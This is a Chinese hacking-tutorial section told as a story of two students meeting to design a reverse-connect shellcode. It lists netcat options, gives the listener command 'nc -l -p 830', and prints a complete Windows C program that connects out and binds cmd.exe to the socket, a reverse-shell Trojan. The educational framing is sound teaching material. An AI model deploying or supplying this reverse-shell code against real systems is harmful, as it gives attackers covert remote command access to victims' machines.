3.6.1 总体思路和实现

第二天宇强按时拨通了小倩寝室的电话,这次是小倩自己接的。

“你好啊!我是宇强。我现在你们寝室下面。”

“好,你等一会儿,我马上下来。”

过了几分钟,小倩穿了件淡蓝色的外套,背着白色书包出现在了门口。宇强暗自惊叹,“好漂亮啊!”

宇强与小倩一行走在去三教的路上。在路上他们边走边聊。

在去第三教学楼的路上,要经过一个篮球场。宇强往里面望了望,好多人呀,有打篮球的、有练习排球的、也有打羽毛球的……他们沐浴在温暖的阳光中。

在教学楼门前,宇强看见了一对老人相互搀扶着散步,头发早已花白。虽然步履蹒跚,但他们的面容非常安详,两人在一起显得是多么的自然、谐。

宇强也不禁心里一动,“和我执子之手,与之偕老的人又在哪儿呢?

……

到三教后发现上自习的人很少,教室里只有三两个人。

小倩看了几个教室,小声说道:“怎么办?教室里都有人,说话打扰别人也不好啊!”

宇强眼睛一转,说:“去教师休息室吧!课间同学们都在那儿问老师问题,我们可以去那里讨论。”

“好主意!”小倩赞同的说道。

教室休息室里摆放着桌几、椅子,还有开水,以供老师在课间休息时饮用。条件还不错!

两人坐下后,宇强说道:“其实老师已经提示很多了,我们理一下思路,就可以把它实现。”

“哦?你这么厉害。”小倩说,“我查了一下老师说的NC。任何计算机都可以用NC直接监听端口,用法是 nc -l -p port 。如果有别的计算机连接这个端口,也可以得到一个Shell。”

小知识:黑客的瑞士军刀——NC

常用的用法:输入-h可以得到帮助信息

-e prog 程序重定向,一旦连接,就执行

-i secs 延时的间隔

-l 监听模式,用于入站连接

-n 指定数字的IP地址,不能用hostname

-o file 记录16进制的传输

-p port 本地端口号

-r 任意指定本地及远程端口

-s addr 本地源地址

-u UDP模式

-v 详细输出——用两个-v可得到更详细的内容

-w wait超时的时间

-z 将输入输出关掉——用于扫描时

“对!” 宇强说道,“那我们在攻击机上用 nc –l –p 830 监听830端口,而在目标机上运行ShellCode,其功能是主动连接我们攻击机的IP和830端口来接收命令。这就是反连的意思。”

“嗯,思路应该就是这样!”小倩说道。

“网络传输部分和正向类似,只不过ShellCode是客户端,流程应该是:”

socket()→connet(攻击机ip,端口)→send/recv()→closesocket()

“实现也比较简单,像下面这样。” 宇强边说边写。

WSAStartup(MAKEWORD(2,2),&ws);
WSASocket(PF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
connect(s,(struct sockaddr *)&server,sizeof(server) );

“和CMD子进程连接也是一样的,或者用一个管道,或者用两个管道,或者不用管道,直接用Socket句柄来代替。” 宇强继续说,“就像下面这样:”

//CMD的输入输出句柄,都用Socket来替换
si.hStdInput = si.hStdOutput = si.hStdError = (void *)s;
//建立进程    
ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);

“把它们合起来就可以了吧?”小倩说。

“是啊,我们可以得到反向连接的程序(BackC.cpp),如下:”

#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib,"Ws2_32")
int main()
{
     WSADATA ws;
     SOCKET s;
     int ret;
     //初始化wsa
     WSAStartup(MAKEWORD(2,2),&ws);
     //建立Socket
     s=WSASocket(PF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
     //连接对方830端口
     struct sockaddr_in server;
     server.sin_family = AF_INET;
     server.sin_port = htons(830);
     server.sin_addr.s_addr=inet_addr("127.0.0.1");
     //反向连接!
     connect(s,(struct sockaddr *)&server,sizeof(server) ); 
     STARTUPINFO si;
     ZeroMemory(&si,sizeof(si));
     si.cb = sizeof(si);
     si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
     si.wShowWindow = SW_HIDE;
     //CMD的输入输出句柄,都用Socket来替换
     si.hStdInput = si.hStdOutput = si.hStdError = (void *)s;
     char cmdLine[] = "cmd.exe";
     PROCESS_INFORMATION ProcessInformation;
     //建立进程    
     ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
      return 0;
}

“哇,很清晰的思路嘛!”

宇强听后暗自狂喜,心想总算没有白熬至深夜两点。

“好,如果测试的话,就先执行 nc –l –p 830 来监听,然后运行程序backC.cpp。如果一切正常,就应该如图3-38所示,NC得到了一个shell。” 宇强说。

“剩下就是转换成汇编和ShellCode了。”

“这个可是苦力活啊……”小倩吐了吐舌头。

“那这样吧,我周末回家的时候生成BackAsm.cpp和BackShellCode.cpp发给老师,也帮你发一份。”

“好啊!就麻烦你了。”小倩说。

“那里,客气了。” 宇强心里高兴极了。

“这个也应该算是个木马吧?”小倩问道。

“是啊,一个简单的特洛依木马。”

“哦!特洛依木马?现在正在放《特洛依》电影呢!”小倩说,“听说很好看的,程序这件事挺麻烦你的,我请你看电影吧!”

“啊?那怎么行!” 宇强赶紧推辞。

“哎哟!别争来争去了,那我们就AA吧!”

“嗯,行!”